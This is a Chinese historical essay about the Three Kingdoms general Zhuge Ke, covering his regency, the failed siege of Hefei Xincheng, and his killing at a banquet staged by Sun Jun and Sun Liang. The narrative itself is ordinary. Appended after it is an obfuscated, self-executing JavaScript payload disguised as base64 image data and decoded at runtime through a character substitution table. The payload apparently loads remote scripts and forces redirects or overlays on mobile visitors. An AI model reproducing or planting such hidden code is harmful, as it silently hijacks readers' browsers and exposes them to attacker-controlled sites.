人心不足蛇吞象(1 / 1)

曾以题为\"聪明反被聪明误\"一文,叙述了东吴大将军诸葛恪被吴主孙亮、辅臣孙峻合谋诱杀于宴厅的故事。此文上网数日后,路遇一友,嘱我不妨将诸葛恪遭遇灾殃的过程披露一下。于是遵之,撰成本文。

公元251年,疾病缠身的孙权,开始为年幼的太子孙亮物色辅佐大臣。朝中许多人都荐诸葛恪,但孙权因嫌弃诸葛恪刚愎自用性情,迟迟不予表态。此时身为安保近侍的孙峻进言孙权,认为当今朝中无人能超诸葛恪,力荐并担保。孙权于是召诸葛恪赴建业。

诸葛恪刚到建业,即被召进孙权寝宫受诏。孙权叹道:\"吾病沉重,此见之后,恐无机会,望践行托付之事。\"诸葛恪悲泣:\"诸葛家族深受皇恩,必会以死遵从诏书,望陛下万勿担心。\"孙权便令诸葛恪兼任太子太傅,负责处置除杀生大权以外的所有事情;中书令孙弘兼任太子少傅,负责处置刑罚类的杀生大权。孙权这么做,是想让两人在牵制中形成平衡,以利孙亮。

莅年,孙权去世。孙弘平时与诸葛恪不和,担心深耕军务多年的诸葛恪,以后凌驾于他,便封锁孙权去世消息,欲矫诏除掉诸葛恪,不料泄密。诸葛恪即走先下为强之路,杀死孙弘,然后发布孙权死讯,为之治丧。

孙亮即位后,拜诸葛恪为太傅。此后,诸葛恪对内:广施仁政,深得民众拥护;对外:重筑东兴大堤,派军戍守,并痛揍来犯魏军,史称\"东兴大捷\"。

公元253年,被\"民心所向\"与\"东兴大捷\"冲昏头脑的诸葛恪,不顾国力不支、军士疲惫现状,无视绝大多数文臣武将的劝阻,坚持出兵伐魏。为了证明自己的决定准确,他仿学其叔诸葛亮当年伐魏时写的《出师表》,也书一文,大致意思是:\"天无二日,民无二主,不乘此时伐魏,将留下长远遗憾\"等等。丹阳太守聂友与诸葛恪素有交情,写信力劝,诸葛恪便将所写原文送给聂友,并题字:\"你说的虽然也有道理,但没有看到长远大局,只要看看我的文章,你就会明白了。\"

这年三月,诸葛恪下令征集二十万青壮年入军伐魏。吴地百姓因此怨声载道,诸葛恪开始失却民心。大军集结完毕,诸葛恪准备绕道淮南掳掠当地魏民,以期威慑魏国。有部将劝他,说魏国百姓,定会在大军到达前逃走,根本起不了威慑作用,不如先用大军包围魏国重地合肥新城,等到敌人救兵赶来,再予围歼,如此,必获事半功倍之效。诸葛恪采纳此计。

合肥新城守将名叫张特,是个牙门将,手下有三千军士。面对吴军攻城,死守不降,竟然守了月余。诸葛恪恼怒非常,下令强攻。张特即向吴军诈降,吴军便停攻击。当夜,张特命人抢修城防工事,第二天复宣死守。吴军见城防工事如新,加上天热和饮水困难,患上腹泻、脚气等疾病的士卒过半,斗志顿泄,无心攻城。面对各部上报的兵卒患病数量,诸葛恪认为有掺假之嫌,扬言斩杀谎报军官,吓得无人再敢汇报。

其时曹魏太尉司马孚所率的二十万大军,已经悄至寿春周边蛰伏。寿春守将毋丘俭、扬州守将文钦等,也接指令:佯装惧吴,按兵不动,静观吴军下步动作。

其实此时诸葛恪已知攻魏失策,但死要面子的他,就是不肯撤兵。部将朱异实在忍不住,向诸葛恪提了点不同看法,诸葛恪大怒,夺了其兵权。都尉蔡琳屡次献策,诸葛恪置之不理,还要斩他,蔡琳一气之下投魏。司马孚因此获知吴军极度疲惫又加疾病流行情况,即令攻击。诸葛恪不敌,慌忙撤退,因受疾病拖累,士卒伤毙于路旁不计其数。而诸葛恪却不理不睬,顾自退到江渚扎营。期间因汗颜自己所为,欲去浔阳屯垦。但奈何不了朝廷一封接着一封要他回到建业的诏书,只得带着仅剩的军士返回。那些丧子失夫家庭,无不对诸葛恪报以怨恨。

该年八月,回到建业的诸葛恪,即召中书令孙嘿,叱骂他\"为何随意滥发诏书?\"吓得孙嘿噤若寒蝉,惶惧退出,生怕丢命而告病辞官。此后,诸葛恪一律罢免自己出征在外时被朝廷所任官员,同时将宿卫人员全部换成自己亲信。为挽新城兵败之耻,又整顿军队,扬言进攻魏国青州、徐州。

诸葛恪的所作所为,不仅引起当初力荐他的孙峻忌惮,而且让吴主孙亮也担心不已。为除隐患,孙峻和孙亮商议,以赴宴为名翦除诸葛恪。

接到吴主孙亮邀请赴宴前夜,诸葛恪烦躁不安,因此心中置疑,逡巡不入宫门,观察疑窦。其时孙峻已在帷帐内埋伏了兵士,为免诸葛恪怀疑,出宫迎接,故意说:\"假如您的身体不好,那就改天再来朝见吧,我去禀告陛下。\"见孙峻如此表示,诸葛恪有所放心,说:\"我再在外面转转,如果感觉好了,就入内朝见。\"

这时,诸葛恪手下散骑常侍张约、朱恩递条子给他:\"今日宴会布置不同寻常,恐怕会有变故。\"诸葛恪便决定返回,不想在大门处遇到太常滕胤。滕胤不知孙峻计划,见诸葛恪要走,说:\"陛下今天设宴请您,您当入内朝见。\"诸葛恪遂带剑上殿。

侍者过来上酒,诸葛恪迟疑不喝。孙峻又故意道:\"你身体不好,可喝自带药酒。\"此说又让诸葛恪放松了不少警惕。

酒过数巡,孙亮起身进入内殿,孙峻说是去趟卫生间。旋即复出喊道:\"有诏捉拿诸葛恪\"。诸葛恪惊起,欲拔剑,但被孙峻乱剑砍止。张约赶过去救助诸葛恪,击伤孙峻左手,孙峻则砍下张约右臂。这时埋伏的兵士蜂踊而出,杀了诸葛恪、张约。随后,诸葛恪被诛三族,他的死党朱恩等亦被清除。

纵观这次\"鸿门宴\",孙峻的两次欲擒故纵的表演,滴水不漏,以至自小就有\"聪明过人\"之誉的诸葛恪,都被蒙弥。有学者因此认为:诸葛恪这头\"象\",是被\"蛇\"吞吃了!

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();